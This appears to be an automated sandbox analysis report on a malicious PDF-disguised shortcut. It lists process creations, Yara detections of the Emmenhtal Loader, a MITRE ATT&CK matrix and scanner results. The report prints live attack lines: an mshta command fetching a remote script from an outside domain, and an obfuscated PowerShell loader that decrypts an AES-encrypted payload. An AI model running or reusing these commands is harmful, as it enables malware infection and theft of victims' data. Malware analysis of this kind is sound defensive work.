Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://myfilebuilders.com/samm"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://myfilebuilders.com/samm	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'CC0D32DBB8F2AEAAAD367283309458E20D13E54AE9F93C26DBBAD73293BD50A36D9574E1A9FCCBBE98A49FC7AA50C3C051F3CBAE9B99771F9B3471A8B7406647B45710656B9560F816F99C52E5CD056E94BB343C78DECD912750ECF5C120A3C6120F92F9AB407C779692B2B801886D4C1933853B818B2F4ACBF254531544A97C461534F8989BDBE763C47BD13A5027B3175BDB8C0BA73400B08CB34FF3383856710CB6019243D1C36B39D01C9442DBEB89528D749444614EA6F3A125CFDB0B5CB39EA903AD087683829FAE488C94736BC882DFA6F1B5BADE602DC13EA4A71F59C0C555E4AA6CC495A964CEE240BAC2F3D429AA98692B0BF989429E291DCF520A3167A6D7D554A48ED1EC98E1F71AA758670750C98404FB140B70E6F8CE88015D69E8D0F3FCF7F737F074F810905C0DD5FD37726F325B89CC02C3B0CD71DD28A101A9080999F615A7AF33942A1FEAF9033FFB3CB02D88C83CEA4BEB13D36CCCDE536D2D4EA38EA00E492838E3E78EE9C0CA9DBC405A5C6F049999533FD9F5FA7404801734E8378978546AAF5D84956D74F1C451D373B86F3488593922F15AEE13BA02471A9C112CEDF4833B3F0638A4A8CECD1D52E9714EA9EDEB5E32944EB33FE52FB8A4B556B1DA6183E48183ACE760AE01310141F680BF3D33446801FC2BFD3000C1BDD51A6E8F30AA8A9B5C8BFBB555A5C04AC12A81509772CE127CB8598C525EBA2A091166AA250CCC96785ABD72973ECED6924E22C09BD25C868452073029B96D7C754E3D74FDF15E08C2A0F4C53F93F39EC3F0FD965A188FDF13D042BBC47CF96138A70FAB9162E32734D3C137CC3A4D27DB5363F9FA5F59ECAC5ADF283B806C00431D7D240795F83F85010F571088B246CEEDC36DADA39641C871CCD8E775017B5A338D1D94E045C140E05F8F86DB296BFFD092C327B31BB3D19F8C1B5B5EFBFD54647ABB292A0F16D86139B074238F1AB2638E0A3034AC7C00056A6E988B63A360B70DCBCDFD1A98A7DE9D02F1760C98DEFEFD55748A81631DD8336CCBC8BDB9784FDC8ED2398FADF660B1349E919FD6497D31A84903C8649BB847B3734E51D3C9ABDFA5BBE03A6CA0E3EC6A9ABB6054F6EB3DE0B804173A9DFDFD85C03FBB3DD4CD7152D30D13AF80E4BC2D9D561DB494C445384AF14A71AF67A3F252F2BAB0EB8A399A9F3DE478EE0920E4F717E63A195E6394FFD001BEFEED37566A40C55DC5CF48EF42822AD3876834FF7F2C41AA52134D41CE152176D5FBC298F91AF4E5C2ADB1486720693646536D8308BF068787AEE0EED268732FA76B22C73A43EEC2E677B595D575F1EDD71FAEC18238660E9D88409FA932407116BB516B6340B888E6FF5C5E303826F793F4E87135C2D9D20886EB5FCFC42C0D9603B67C13BBE82488090447CE2D406BCE4F71F8DED1277FB46A3F2E9FEB147880DEF6AD74481A95C5A94D480FA6742D967332B49570E903748A0BC475D54F8A4C548412C4AE30767A66A97B5BCFEE2DCB02BD3B11FA82EA1D214EA6520580B2DDF1FACDAD83B1921E52658D688B42F0DC0F163134922A308D66702D2E0ABFC978ECCE276FD6423CFF201D4169303D1FEE518BF422FDA896E2625653444DDB524D1779473C3EF10919F817A39FEBE05CE776ACD3EEB5F6529FC14DA7797DC617900100111D543A4680515798A7EB47B4C3C8F79DA82C90F0A61ADCC29B3FFCB05F9F13ECC10A907A9F8FD908476EA00AAE8E8631736D715947485271496F5853536B744B';function wLh ($iUUDD){return -split ($iUUDD -replace '..', '0x$& ')};$feiFxp = wLh($ddg.SubString(0, 2464));$zXe = [System.Security.Cryptography.Aes]::Create();$zXe.Key = wLh($ddg.SubString(2464));$zXe.IV = New-Object byte[] 16;$QlaSHZgH = $zXe.CreateDecryptor();$PwiNROQ = [System.String]::new($QlaSHZgH.TransformFinalBlock($feiFxp, 0,$feiFxp.Leng	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Professional_Social_Media_Report.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe "C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C tar -xf "C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip" -C "C:\Users\user\AppData\Roaming"
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tar.exe tar -xf "C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip" -C "C:\Users\user\AppData\Roaming"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $ddg = 'cc0d32dbb8f2aeaaad367283309458e20d13e54ae9f93c26dbbad73293bd50a36d9574e1a9fccbbe98a49fc7aa50c3c051f3cbae9b99771f9b3471a8b7406647b45710656b9560f816f99c52e5cd056e94bb343c78decd912750ecf5c120a3c6120f92f9ab407c779692b2b801886d4c1933853b818b2f4acbf254531544a97c461534f8989bdbe763c47bd13a5027b3175bdb8c0ba73400b08cb34ff3383856710cb6019243d1c36b39d01c9442dbeb89528d749444614ea6f3a125cfdb0b5cb39ea903ad087683829fae488c94736bc882dfa6f1b5bade602dc13ea4a71f59c0c555e4aa6cc495a964cee240bac2f3d429aa98692b0bf989429e291dcf520a3167a6d7d554a48ed1ec98e1f71aa758670750c98404fb140b70e6f8ce88015d69e8d0f3fcf7f737f074f810905c0dd5fd37726f325b89cc02c3b0cd71dd28a101a9080999f615a7af33942a1feaf9033ffb3cb02d88c83cea4beb13d36cccde536d2d4ea38ea00e492838e3e78ee9c0ca9dbc405a5c6f049999533fd9f5fa7404801734e8378978546aaf5d84956d74f1c451d373b86f3488593922f15aee13ba02471a9c112cedf4833b3f0638a4a8cecd1d52e9714ea9edeb5e32944eb33fe52fb8a4b556b1da6183e48183ace760ae01310141f680bf3d33446801fc2bfd3000c1bdd51a6e8f30aa8a9b5c8bfbb555a5c04ac12a81509772ce127cb8598c525eba2a091166aa250ccc96785abd72973eced6924e22c09bd25c868452073029b96d7c754e3d74fdf15e08c2a0f4c53f93f39ec3f0fd965a188fdf13d042bbc47cf96138a70fab9162e32734d3c137cc3a4d27db5363f9fa5f59ecac5adf283b806c00431d7d240795f83f85010f571088b246ceedc36dada39641c871ccd8e775017b5a338d1d94e045c140e05f8f86db296bffd092c327b31bb3d19f8c1b5b5efbfd54647abb292a0f16d86139b074238f1ab2638e0a3034ac7c00056a6e988b63a360b70dcbcdfd1a98a7de9d02f1760c98defefd55748a81631dd8336ccbc8bdb9784fdc8ed2398fadf660b1349e919fd6497d31a84903c8649bb847b3734e51d3c9abdfa5bbe03a6ca0e3ec6a9abb6054f6eb3de0b804173a9dfdfd85c03fbb3dd4cd7152d30d13af80e4bc2d9d561db494c445384af14a71af67a3f252f2bab0eb8a399a9f3de478ee0920e4f717e63a195e6394ffd001befeed37566a40c55dc5cf48ef42822ad3876834ff7f2c41aa52134d41ce152176d5fbc298f91af4e5c2adb1486720693646536d8308bf068787aee0eed268732fa76b22c73a43eec2e677b595d575f1edd71faec18238660e9d88409fa932407116bb516b6340b888e6ff5c5e303826f793f4e87135c2d9d20886eb5fcfc42c0d9603b67c13bbe82488090447ce2d406bce4f71f8ded1277fb46a3f2e9feb147880def6ad74481a95c5a94d480fa6742d967332b49570e903748a0bc475d54f8a4c548412c4ae30767a66a97b5bcfee2dcb02bd3b11fa82ea1d214ea6520580b2ddf1facdad83b1921e52658d688b42f0dc0f163134922a308d66702d2e0abfc978ecce276fd6423cff201d4169303d1fee518bf422fda896e2625653444ddb524d1779473c3ef10919f817a39febe05ce776acd3eeb5f6529fc14da7797dc617900100111d543a4680515798a7eb47b4c3c8f79da82c90f0a61adcc29b3ffcb05f9f13ecc10a907a9f8fd908476ea00aae8e8631736d715947485271496f5853536b744b';function wlh ($iuudd){return -split ($iuudd -replace '..', '0x$& ')};$feifxp = wlh($ddg.substring(0, 2464));$zxe = [system.security.cryptography.aes]::create();$zxe.key = wlh($ddg.substring(2464));$zxe.iv = new-object byte[] 16;$qlashzgh = $zxe.createdecryptor();$pwinroq = [system.string]::new($qlashzgh.transformfinalblock($feifxp, 0,$feifxp.leng
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $ddg = 'cc0d32dbb8f2aeaaad367283309458e20d13e54ae9f93c26dbbad73293bd50a36d9574e1a9fccbbe98a49fc7aa50c3c051f3cbae9b99771f9b3471a8b7406647b45710656b9560f816f99c52e5cd056e94bb343c78decd912750ecf5c120a3c6120f92f9ab407c779692b2b801886d4c1933853b818b2f4acbf254531544a97c461534f8989bdbe763c47bd13a5027b3175bdb8c0ba73400b08cb34ff3383856710cb6019243d1c36b39d01c9442dbeb89528d749444614ea6f3a125cfdb0b5cb39ea903ad087683829fae488c94736bc882dfa6f1b5bade602dc13ea4a71f59c0c555e4aa6cc495a964cee240bac2f3d429aa98692b0bf989429e291dcf520a3167a6d7d554a48ed1ec98e1f71aa758670750c98404fb140b70e6f8ce88015d69e8d0f3fcf7f737f074f810905c0dd5fd37726f325b89cc02c3b0cd71dd28a101a9080999f615a7af33942a1feaf9033ffb3cb02d88c83cea4beb13d36cccde536d2d4ea38ea00e492838e3e78ee9c0ca9dbc405a5c6f049999533fd9f5fa7404801734e8378978546aaf5d84956d74f1c451d373b86f3488593922f15aee13ba02471a9c112cedf4833b3f0638a4a8cecd1d52e9714ea9edeb5e32944eb33fe52fb8a4b556b1da6183e48183ace760ae01310141f680bf3d33446801fc2bfd3000c1bdd51a6e8f30aa8a9b5c8bfbb555a5c04ac12a81509772ce127cb8598c525eba2a091166aa250ccc96785abd72973eced6924e22c09bd25c868452073029b96d7c754e3d74fdf15e08c2a0f4c53f93f39ec3f0fd965a188fdf13d042bbc47cf96138a70fab9162e32734d3c137cc3a4d27db5363f9fa5f59ecac5adf283b806c00431d7d240795f83f85010f571088b246ceedc36dada39641c871ccd8e775017b5a338d1d94e045c140e05f8f86db296bffd092c327b31bb3d19f8c1b5b5efbfd54647abb292a0f16d86139b074238f1ab2638e0a3034ac7c00056a6e988b63a360b70dcbcdfd1a98a7de9d02f1760c98defefd55748a81631dd8336ccbc8bdb9784fdc8ed2398fadf660b1349e919fd6497d31a84903c8649bb847b3734e51d3c9abdfa5bbe03a6ca0e3ec6a9abb6054f6eb3de0b804173a9dfdfd85c03fbb3dd4cd7152d30d13af80e4bc2d9d561db494c445384af14a71af67a3f252f2bab0eb8a399a9f3de478ee0920e4f717e63a195e6394ffd001befeed37566a40c55dc5cf48ef42822ad3876834ff7f2c41aa52134d41ce152176d5fbc298f91af4e5c2adb1486720693646536d8308bf068787aee0eed268732fa76b22c73a43eec2e677b595d575f1edd71faec18238660e9d88409fa932407116bb516b6340b888e6ff5c5e303826f793f4e87135c2d9d20886eb5fcfc42c0d9603b67c13bbe82488090447ce2d406bce4f71f8ded1277fb46a3f2e9feb147880def6ad74481a95c5a94d480fa6742d967332b49570e903748a0bc475d54f8a4c548412c4ae30767a66a97b5bcfee2dcb02bd3b11fa82ea1d214ea6520580b2ddf1facdad83b1921e52658d688b42f0dc0f163134922a308d66702d2e0abfc978ecce276fd6423cff201d4169303d1fee518bf422fda896e2625653444ddb524d1779473c3ef10919f817a39febe05ce776acd3eeb5f6529fc14da7797dc617900100111d543a4680515798a7eb47b4c3c8f79da82c90f0a61adcc29b3ffcb05f9f13ecc10a907a9f8fd908476ea00aae8e8631736d715947485271496f5853536b744b';function wlh ($iuudd){return -split ($iuudd -replace '..', '0x$& ')};$feifxp = wlh($ddg.substring(0, 2464));$zxe = [system.security.cryptography.aes]::create();$zxe.key = wlh($ddg.substring(2464));$zxe.iv = new-object byte[] 16;$qlashzgh = $zxe.createdecryptor();$pwinroq = [system.string]::new($qlashzgh.transformfinalblock($feifxp, 0,$feifxp.leng			Jump to behavior

Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe

Code function: 12_2_00007FF658E413D0 cpuid

12_2_00007FF658E413D0

Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: EnumSystemLocalesW,	12_2_00007FF658E45B0C
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: EnumSystemLocalesW,	12_2_00007FF658E3C2AC
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: EnumSystemLocalesW,	12_2_00007FF658E45A3C
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	12_2_00007FF658E45BA4
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: GetLocaleInfoW,	12_2_00007FF658E45DF0
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	12_2_00007FF658E456F0
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: GetLocaleInfoW,	12_2_00007FF658E45FF8
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	12_2_00007FF658E45F48
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: try_get_function,GetLocaleInfoW,	12_2_00007FF658E3C750
Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	12_2_00007FF658E46124

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\tar.exe	Queries volume information: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip VolumeInformation
Source: C:\Windows\System32\tar.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Queries volume information: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php VolumeInformation
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Queries volume information: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Queries volume information: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php VolumeInformation
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Queries volume information: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\config.json VolumeInformation
Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Queries volume information: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\config.json VolumeInformation

Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe

Code function: 12_2_00007FF658E2E1F8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

12_2_00007FF658E2E1F8

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Emmenhtal Loader

Source: Yara match	File source: Process Memory Space: mshta.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1], type: DROPPED

Remote Access Functionality

Yara detected Emmenhtal Loader

Source: Yara match	File source: Process Memory Space: mshta.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1], type: DROPPED

Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe

Code function: 24_2_00007FF7498C60A0 php_network_getaddresses,free,socket,closesocket,__zend_malloc,htons,__zend_malloc,htons,setsockopt,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,free,php_network_freeaddresses,closesocket,php_socket_error_str,getsockname,htons,

24_2_00007FF7498C60A0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	211 Scripting	Valid Accounts	21 Windows Management Instrumentation	211 Scripting	11 Process Injection	121 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	45 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
HateSpeech2024_Summary.pdf.lnk.bin.lnk	24%	ReversingLabs	Shortcut.Trojan.Pantera
HateSpeech2024_Summary.pdf.lnk.bin.lnk	27%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\deplister.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_bz2.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_com_dotnet.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_curl.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_dba.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_dl_test.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_enchant.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_exif.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ffi.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_fileinfo.dll	0%	ReversingLabs
